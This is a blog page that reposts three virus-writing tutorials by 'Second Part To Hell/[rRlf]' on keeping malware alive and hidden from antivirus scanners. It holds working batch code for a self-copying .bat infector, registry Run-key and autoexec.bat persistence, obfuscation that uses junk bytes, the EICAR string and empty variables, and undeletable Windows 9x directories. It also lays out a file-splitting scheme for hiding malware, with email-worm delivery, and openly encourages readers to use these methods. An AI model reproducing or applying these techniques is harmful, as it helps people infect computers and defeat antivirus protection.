*************************************************************
*************************************************************
************ ***********
************ The Secure Virus-Copy ***********
************ by Second Part To Hell/[rRlf] ***********
************ ***********
*************************************************************
*************************************************************
Index:
******
0) Intro Words
1) The Idea
2) Important marginal notes
a) Inverted commas
b) 'exit'-command
c) '@echo'-command
d) '%~a'-option
e) '>>'-option
3) How to use it
a) General Information
b) Where to store the code
4) Last words
0) Intro Words
The title of this article sounds really strange and I'm sure, you can't think
what I'll tell you now. Don't worry, you will get the point while reading this
text. First I have to thank three persons, who's viruses or articles helped me
to get this idea. First person is Benny, who wrote a great article called
'Some ideaz about future worms', which was released in 29a#6. In his article he
mentioned that a worm 'should not be stored at any file on the disk'. The second
important person, who's virus helped me to get the idea and bring the idea to
reallity was Lys Kovick with his WinREG.AntiREG. Last but not least Q the Misanthrope's virus Bat.OneLine wsa very important for this article. To all these guys I have to send out a really great 'THANK YOU'! :D Well you still can't think about my idea, so I'll stopp writing this silly intro and start to come to the important parts...
1) The Idea
The idea is, as you should have already noticed, a copy of the virus, which can't
be detected. Let's consider the scan of a Antivirus-Program. The program detects
every virus, which is already in the virus-definition, in (most times) every file
at the computer. Now: What would be, if the virus doesn't exist in any file at the
computer??? It is not detected. You may think, "Damn, silly boy, how should the virus
work?". The answere's name is Registy...
As you may know, you can run any program with the right extansion via the registry.
That is the main point. You just have to store a copy of the virus/worm's code in registry
(if it's script than it's easy, if it's a binary you have to debug it later on). Now
let's think that the virus is in the registry, how we get it out from there?
As I have already told you, you can run programs via registry... One of this programs
you can run is called 'CMD.exe', the new Windows 2000 Command-Interpreter.
The think get's tricky now: As you may know, your CMD.exe has a command called 'for',
we are going to use it now. Why? Well, it's doubtful that your virus just have one line,
therefore we have to use one line (registry just allows one line of CMD.exe-code) bringing
your virus-code to a new file. Maybe you didn't fully understand what I meant, therefore
I'll show you an example now. This is the content of a new registy-key, which is stored
in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run:
- - - - - - - - - - - - - -
cmd /c for %a in ("@echo off" cls "echo Second Part To Hell was here..." pause exit) do @echo %~a>>C:\example.cmd
- - - - - - - - - - - - - -
Now guess the effects of this key! Every start-up of the computer it will generate a new
file called C:\example.cmd with the code between the inverted commas. Cool we got
a new file onto the computer... I'm sure that you know it: The code should be your virus
code. :). Now let's say, a virus uses such a code. First run it installs the key with
it's code. Some time later the user notices that something smells fishy and scanns trough
the harddisk. It finds a few copies of the virus and delets it. Now the cool thing:
It doesn't matter as the virus has it's code saved in the registry. And this code is ready
to infect the computer again and again (and again...).
2) Impotant marginal notes
There are some stranges in that line, which you have to note, otherwise you will have
hard problems getting the code working:
a) Inverted commas
You have to set the commands between inverted commands, if the line you want to write to
a new file contains at least one blank space. Otherwise CMD.exe treat it as more commands
with the side-effects, that it writes every part to a new line. If the command doesn't contain
a blank space, you may not use inverted commas.
b) 'exit'-command
After writing all your code to a .CMD or .BAT file, you have to use an 'exit'-command, since
you may write the whole code to the file every computer run. That's also the reason why
you must not use lables or gotos.
c) '@echo'-command
You have to use @echo to write strings to a file. If you would use just 'echo', you would
also write the primary command to it (i.e.: C:\Windows\System32>echo cls>>C:\example.cmd AND
cls).
d) '%~a'-option
If you have used a multi-part-command (which contains blanc space[s]), you have to use inverted
commands, as I have already told you. Using the simple '%a'-option, you would also write that
inverted commas to the code (which you don't want I think). To write the code without that
inverted commas you have to use '%~a'. (Of course, you could also use another variable-letter).
e) '>>'-option
When you try to use '>' to write your code to a file, you won't have success as CMD.exe overwrites
everything in the file (the lines you have already written) with the new one with the result that
the file contains JUST the last line you wanted to write.
3) How to use it
a) General Information
I've already told you, how the technique works, but not how to use it. Well, here we are.
First thing your virus should do when it's activ is to search the AutoStart-Directory, after
that it should write the modified code (the code above with the new directory+filename) to the
registry. That's all, easy - isn't it?! :)
b) Where to store the code
This is maybe the most important decision you have to make. Here are a few opportunities with
it's pro and contra.
--> Standart-Registry-Run
For Example: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
This is maybe the easiest and saved way to make sure that the virus will be started every
computer-Run. But the problem is that even low- and and medium-knowlegde computer users know
how to find a key here. That's a big problem...
--> Command Processor-AutoRun
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun
The good thing is that nearly nobody knows about this key. The key forces the CMD.exe to
run a command or a file before the real window opens. The code would run when the
user opens a .CMD/.BAT file or open directly the CMD.exe. The problem is that a normal user
don's use these things. :(
--> Hooking File-extansions
malfunction wrote an article about that and released it in 29a#6. He used that technique
to run a virus/worm-file before an .EXE is executed. We can use the same technique modified.
just put the code above instead of malfunction's filename, and it should work.
4) Last words
Here, at the end of my article, I really want to thank you for still being with me and
reading this. I am really happy that I've finally finished this technique and this article, and
I would be even happier if you could send me your opinion of this way to make a secure virus copy.
I know that this article looks like it's just a technique for batch viruses, but it isn't! You
can use it in every file-virus/worm for Windows. Just use the command 'debug', which is really easy.
As you can imaging, I will write such a virus as soon as possible, and for showing you that it's
possible, it will become a binary virus. :)...
Greets goes to everybody who knows me (I'm too lazy to write them all down again, you know who you
are - just look at my homepage :D)...
A special greets goes to my RainBow, ILD!
- - - - - - - - - - - - - - -
Second Part To Hell/[rRlf]
www.spth.de.vu
spth@priest.com
written from april-may 2004
Austria
- - - - - - - - - - - - - - -
Showing posts with label Virus Writing. Show all posts
Showing posts with label Virus Writing. Show all posts
Thursday, October 16, 2008
The Secure Virus-Copy
Posted by egunda at 9:34 AM 0 comments
Labels: Virus Writing
Useful Things In Batch
A tutorial by: by Second Part To Hell/[rRlf]
*************************************************************
*************************************************************
************ ***********
************ Useful things in Batch ***********
************ by Second Part To Hell/[rRlf] ***********
************ ***********
*************************************************************
*************************************************************
.intro words
While making my Batch WOrm Generator I discovered much very useful techniques
for Batch viruses, for instands about Encryption or Polymorphism. But I
discovered also some other techniques. These are Anti AVA techniques, and I
thought, I don't have to let them die. Now let's start...
.index
I'm sure, that you want to know, about which techniques I want to
talk. So, here is the shit of content :)
1) Including fake bytes
2) Useing a undeletable directory (Not for Win00|NT|XP)
3) Including the EICAR-Testfile
4) Pseudo-Trash between the code
.Including fake bytes
This is a special Anti-KAV-heuristic technique. Maybe you know, that KAV only
searchs in the first 1000 Bytes for the virus (I think, only in batch viruses).
What does that mean for us? Guess what? :) We inlude befor of the start of our
virus 1000 silly bytes, which don't do anything. And what is t effect? Let's test
it. First we have a very silly code-string, that only spread itself in the
current dir via overwriting Batch-files. KAV named it 'BAT.Silly.d'.
- - - - - - - - - - [ BAT.Silly.d ] - - - - - - - - - -
for %%a in (*.bat) do copy %0 %%a
- - - - - - - - -[ End of BAT.Silly.d ]- - - - - - - - -
Now let's test our new technique. Includeing 1000 fake-Byte should not
be a serious problem. Because of the fact, that batch ignore simple input-errors
we won't have any problems with it. My string contains random lowercase-letters.
But it should be no problme to include also other letters like Uppercase or
numbers and so on. Important Note: Do not include a '<' or a '>', because the
computer will 'think', that you want to read/write from a file.
- - - - - - - - - - [ Fake Bytes ] - - - - - - - - - -
stjrdnfuqlgmpuwefguowyakzxgkxolraxozihswcfngwkpaolmmyfrzmsxbcnvrmwrtnjpwybshmhxjtimvzwjuoakncjwynilyp
zciptpriqzrfqkqwgfiqpivuityndlqmlivmdtkjuynjdxzmpjedfjacsqgybiwcamxxxwolzzkprquufavkqfdyuqjcxvpizrakx
pdmogwizgfrjhvxrmeewywmknxbqbthypeksxmywlfaijracwftfsflicvgfwqzsnrductwbvvtkkzerzgpcbzkngktcdfybzsnby
emlcctvneufmhnvfsutoqnldznssinuqigrxbzyxwfmblnqhxztsokqyldnimzgjsmqwshasowgjrmwldkikgjwuffflhwugwrbqd
qhbueiaahtvwmhfrhntudpvscpkiftyiwceboltowopsojwxbuarilavnacqlljixreykldgdqxdckayqztleotrbijiwzpesheyd
cweyfyrldgvwkcocrqfqtlxuchxdhkpddokhpvxcihqshgqnpjoeqlxspcncyzlvkywzbtijvuiazhevcorognwzgscmmcappqrzw
vmtjkatslrkzxrrwxiawspgfvwwphueigwostqtuwrsabmlsrugeudglkmadpimsdbhsmhzlqtcaqftezwbaqrlkzjnzdhvhrpgbi
ajbakariwolazvdwhskrdsyqqcjayyqwusubevwumtwysahdzxtqhausneeistduraaaozircfrxqaidvarbiwibwzbtjajurezzd
wvqswebffznuymcvqhitlgknfdlwbzdlxfikprozaaxynlxhtmcflbnptelhpgpymekdijonvhyiswpgprdhxtffzimxrdofzonaz
qficniylakfqrazsqqviidufwfuwcialsryemswoekufgliuyybgzdydtqfmqnfqwdxmztbzqultebjbahjcadmibazhxsqljsslv
cqqqtsqfndkcwihitiscoqqsphuooymtkolmjdielrslulfpqodcitauueorvbyohxhmwgfwozxkggipmgpkoutzykratrhamqbxj
for %%a in (*.bat) do copy %0 %%a
- - - - - - - - - [ End of Fake Bytes ] - - - - - - - - -
The thing looks damn stupid, but the effect is genial :). The whole virus
works, but KAV don't show any alarm. And also no heuristic alarm. I'm sure,
that you will like this technique very much.
.Useing a undeletable directory (Not for Win00|NT|XP)
This technique's name looks very cool. And don't worry, it IS very cool.
But first let me explain, what it is: Windows 95 and Windows 98 have a
bug. If you try to make a new directory in MS-DOS, which contains some special
letters, windows won't be able to work with that directorys. You can't open
the directory, move it or delete it. That's the princip of our technique,
because of the reason, that batch is a DOS script. Now let's have a look at
letters, which make that possible.
- - - - - - - - - - - [ Letter List ] - - - - - - - - - - -
ASCII 176: °
ASCII 177: ±
ASCII 178: ²
ASCII 179: ³
ASCII 180: ´
ASCII 185: ¹
ASCII 186: º
ASCII 187: »
ASCII 188: ¼
ASCII 191: ¿
ASCII 192: À
ASCII 193: Á
ASCII 194: Â
ASCII 195: Ã
ASCII 196: Ä
ASCII 197: Å
ASCII 200: È
ASCII 201: É
ASCII 202: Ê
ASCII 203: Ë
ASCII 204: Ì
ASCII 205: Í
ASCII 206: Î
ASCII 213: Õ
ASCII 217: Ù
ASCII 218: Ú
ASCII 219: Û
ASCII 220: Ü
ASCII 223: ß
ASCII 242: ò
- - - - - - - - - -[ End of Letter List ]- - - - - - - - - -
OK, we know all the chars, which are possible. Now let's make a little
sample with that technique. My sample makes a undeleteable directory in
%windir%, and write something to the autoexec.bat, which let the virus
start at every windows-run.
- - - - - - - - - - - [ Letter List example ] - - - - - - - - - - -
cls
@echo off
cd %windir%
md º´ÜòÌ
cd º´ÜòÌ
copy %0 virus.bat
echo cd %windir% >>autoexec.bat
echo cd º´ÜòÌ >>autoexec.bat
echo virus.bat >>autoexec.bat
- - - - - - - - - -[ End of Letter List example ]- - - - - - - - - -
I'm sure, that you'll understand the example. A special thanks goes
to the Author of 'Trojan.BAT.NoDelDir', but unfortunatly I don't know,
who it is. If you read this, please contact me!!!
.Including the EICAR-Testfile
I think, that everybody knows, what EICAR-Virus-Test-File is. If not, I'll
explain it: It's a com-file from EICAR, and every Scanner detects it. It's
only for testing your AV. It's no virus, but it writes a String to the DOS
screen. OK, sounds nice, but how can we use it? Because of the fact, that
nearly everybody knows about that file, nobody is scared of a warning from
his AV about that detection. That's the point. We include to our program the
EICAR-file, so useres won't be scared of it. Here is the EICAR file content:
- - - - - - - - - [ EICAR-content ] - - - - - - - - - -
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
- - - - - - - -[ End of EICAR-content ]- - - - - - - - -
This is the same princip as the fake-bytes. But it contains a sensefully
content: The EICAR-file. It's the same 'virus', that I used in the FAKE
BYTE including technique. But now it's no more detect as 'BAT.Silly.d'
but 'EICAR-Test-File'. And we had success :)
- - - - - - - - - [ EICAR-content example] - - - - - - - - - -
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
for %%a in (*.bat) do copy %0 %%a
- - - - - - - -[ End of EICAR-content example]- - - - - - - - -
.Pseudo-Trash between the code
The title sounds emazing. So, what do I mean with 'Pseudo-Trash'?
Anything, that is written down in the code, but do not exist in the
runtime. You may think, that I'm a stoned/drunken or whatever, but it's
the only possible explanation. Think about the explanation. What comes
to your mind? Maybe the command 'set'? Then you're at the right way.
OK, a variable contains any content. But the point is, that a variable
can also contains '' (=nothing). Now we solved our problem :)
Let's look at the code. It's again the silly virus, which is detect by
KAV as 'BAT.Silly.d'.
- - - - - - - - - [ Pseudo-Trash example] - - - - - - - - - -
%anyting%fo%anyting%r %%a i%anyting%n (%anyting%*.ba%anyting%t) d%anyting%o co%anyting%py %0 %%a
- - - - - - - -[ End of Pseudo-Trash example]- - - - - - - - -
As you can see, the thing is very (!!!) easy to make, but it's also useful.
Note: you have to know, that the variable, that you use, has no content.
Otherwise the virus won't work. If you are not sure about the content,
include the line 'set anthing=', so you delete the content.
.last words
These techniques could be really useful, if you also include other Anti AV
tricks. If you include all these things and also encryption or polymorphism
or whatever, AVs will have a really problems. Now I hope, that you'll try
to use some (or maybe all :D ) of these things in your future-projects,
otherwise I wasted much hours of discover the techniques, searching errors
and better ways of it, checking the behaviour on other OSes and writing the
article. OK, in the end I want to say sorry about my english spelling or
grammer mistakes :).
- - - - - - - - - - - - - - -
Second Part To Hell/[rRlf]
www.spth.de.vu
spth@aonmail.at
written in june 2003
Austria
- - - - - - - - - - - - - - -
Posted by egunda at 9:31 AM 0 comments
Labels: Virus Writing
A good idea for virus writers
I was surfing through net and i came across this article which i found good enough to share with you people.
i express my sincere thanks to[rRlf] for sharing the idea with us.
here it goes.
=============================================
*************************************************************
*************************************************************
************ ***********
************ Over-File Splitting ***********
************ by Second Part To Hell/[rRlf] ***********
************ ***********
*************************************************************
*************************************************************
Index:
******
0) Intro Words
1) The idea
2) How to split?
3) How to join?
4) Short: How to use?
5) Short: Encryption
6) Short: Code in Filename
7) Outro words
0) Intro Words
This title may give you no ideas what my idea is about, so I'll tell you:
The idea itself is a heavy kind of Fuck-AV technique, it does not belong
to any other technique I've already seen. Just check it out.
Let's consider the detection of a virus by an AV program: The AV program
searchs in all files of the disk for special strings or whatever. If it
finds such a string, the file is detected. (I dont talk about encryption
or polymorphism in this connection - it's not important for the idea).
How to prevent this detection? I'll explain you...
1) The idea
Well, I've told you that an AV searchs in every file of the HD if there is
a virus. But what would be, if the virus would not be in one file? What
would be if the virus would be in 1000 or more files?
You may think: "Shit, what the hell are you talking about?"
OK, let's say anybody's computer gets infected by a virus/worm. Many files
get infected and the user recognizes that something smells fishy. (S)He
updates the AV program, scanns all files, all infected files become clean.
Is anything over now? No, it is not, because the virus/worm, when running
the first time splitted itself in 1000 parts, and every part is a own
file with the length of ~4-8 byte. This files (which have random names)
became saved in a directory. The files alone can not harm anybody, but
together they can. Together? The virus/worm also made a file, which joins
all files. This file, which runs every at restart (registry,autostart,...)
become executed now, and the computer will be reinfected again.
Can you now imagine how our virus/worm uses this technique and why may be
real successful? Just read on...
2) How to split?
This is most important for the technique: The more parts you have for your
virus/worm, the less the chance, that an AV program could detect it. Why?
Because a 4 byte scan-string would not be enough for detecting a virus. If
such a small scan-string would be used, the AV would definitivly have alot
of false-positives (detecting uninfected files). It is also important to
split your files randomly. Not always the same way. And to split the files
in random length parts, not always i.e. 5 byte.
If the program is a virus, it does not matter if the you also split the
hostcode. And about the header of a file: It is no problem to also split
the header into parts.
Now let me show you a primitive graphic, how i mean this:
This could be:
1: RE 1: REA
2: AL- 2: L-FIL
3: FILE- 3: E-INF
4: INF 4: ECT
5: ECTE 5: ED
6: D-B 6: -BY-
7: Y-A- 7: A-VI
8: VIR 8: RUS-
9: US-US 9: USIN
10: ING- 10: G-TH
11: THE- 11: E-OVE
12: OVER-F 12: R-FI
13: ILE 13: LE-SP
14: -SPLI 14: LI
15: TTING 15: TT
16: -TECH 16: ING
17: NIQ 17: -TE
18: UE 18: CHN
19: IQU
20: E
Now let's imagine, that every small part of the file has a random name.
And one more: Let's imagine, every part could be in any directory at the
Harddisk. Or even on another partition. That does not matter, you just
have to save the name for the joining-process.
3) How to join?
How could be join this files again to one file, which can be executed? At
splitting the virus, we have the filenames and -pathes, so we have to save
them. After splitting, a file will be created, which will join the virus
to one file. I'll show you now how such a file could look like. For making
it easy I've used CMD command COPY for that:
- - - - -
copy C:\WinNT\shjei2.tmp+E:\Pictures\lwjfnvmsiq9jm.dsf+D:\Songs\ToT\j1s.ajs+C:\Vir-Fol\iajw.vir+... C:\run.exe
C:\run.exe
- - - - -
The most important thing is,that your joining-program can not be detected.
You can of course generate your program totally randomly, and with the
filenames it is totally random.
There is nothing more to say...
4) Short: How to use?
Here is another idea, how you can use this technique for an eMail worm.
The worm should send itself via an archive (.ZIP/.RAR/.???). The archive
has to contain a directory and a joining file. In the directory there are
all parts of the virus. The user clicks the joining file, and it joins the
virus to one file and runs it. The result is, that the user can scan every
file, but nothing is found, because no file is the virus, but all. :)
Something else: An eMail as archive is more serious than a normal .EXE
file, and even if in the archive are more files and a directory. The user
may think it's a program.
5) Short: Encryption
No, this is no encryption tutorial, but another way how to use this idea.
You could have 3 files: joining-file, encrypted-code file,decryption file.
Before joining: After joining:
______________ _______________
| Joining file | | Joining file |
|______________| |_______________|
______________ _______________
| Encry. code | | Decry. engine |
|______________| | Encry. code |
|_______________|
______________
| Decry. file |
|______________|
What is important for this technique? Your decryption engine and the join-
ing file must not be detected. If the decrytion engine is not detected,
most times AV tries to emulate the decrytion and encrypt the virus. But
if there is nothing to decrypt, nothing is detected. :)
6) Short: Code in Filename
This is another idea, which belongs (nearly :D) to Over-File Splitting.
Just imagine: What would be, if we would make a directory, and make new
files with special names. The special names should present the code. But
as there are many characters, which aren't allowed for a filename, we have
to use the HEX of the character.
But now we have one problem: We have sort the filenames, as we need to
join the parts in right way. I'll show you a short graphic to let you
understand my idea:
1. File: 000148454C4C4F20
\/ | | | | | |
AA B C D E F G
2. File: 0002565845525321
\/ | | | | | |
AA B C D E F G
AA: This is for sorting the filenames. I've used a word, so we can use
0xFFFF filenames. Important: 4 Byte=2 HEX Chars=0xFFFF chars.
B: 2 Bytes = 1 HEX of a Character. Here it is the 1st one.
C: 2 Bytes = 1 HEX of a Character. Here it is the 2nd one.
D: 2 Bytes = 1 HEX of a Character. Here it is the 3rd one.
E: 2 Bytes = 1 HEX of a Character. Here it is the 4th one.
F: 2 Bytes = 1 HEX of a Character. Here it is the 5th one.
G: 2 Bytes = 1 HEX of a Character. Here it is the 6th one.
Just for not missunderstanding: '000148454C4C4F20' IS the filename, it
could also be '000148454C4C4F20.txt', but for making it easier, I did not
use any extansion.
For getting the code: You have to sort the filenames:
- 000148454C4C4F20
- 0002565845525321
Reduce the 4 byte in the beginning (which are just for sorting):
- 48454C4C4F20
- 565845525321
And join the names:
- 48454C4C4F20565845525321
As it is a Hex-Value, we have to change it to a Text Sting:
- HELLO VXERS!
Isn't this nice??? :)
Well, I know that this idea is quite strange and it seems to be unreal.
But it isn't, you can make it real! And if you did, nobody will detect it.
7) Outro words
This technique is definitivly hard to bring it to reality, but no way
impossible. I would like to see the faces of AVers, if they see such a
virus. :) But really, what would they do? The only thing is to detect the
joining file, but what if we could make it undetectable? We would have an
undetectable virus - isn't that our goal?
- - - - - - - - - - - - - - -
Second Part To Hell/[rRlf]
www.spth.de.vu
spth@priest.com
written from Jan 2005
...surrealistic viruswriter...
- - - - - - - - - - - - - - - he also made the File Splitting Engine (also released in rRlf #6) description he wrote as:
This is just a small engine, but I'm sure it could be very useful. What does the engine do?
It splitts the current file into 3-10 byte parts and creates a joining file (called start.bat).
To understand it's purpose, you should read my article called "Over-File Splitting".
download link
Posted by egunda at 8:26 AM 0 comments
Labels: Virus Writing
Subscribe to:
Posts (Atom)
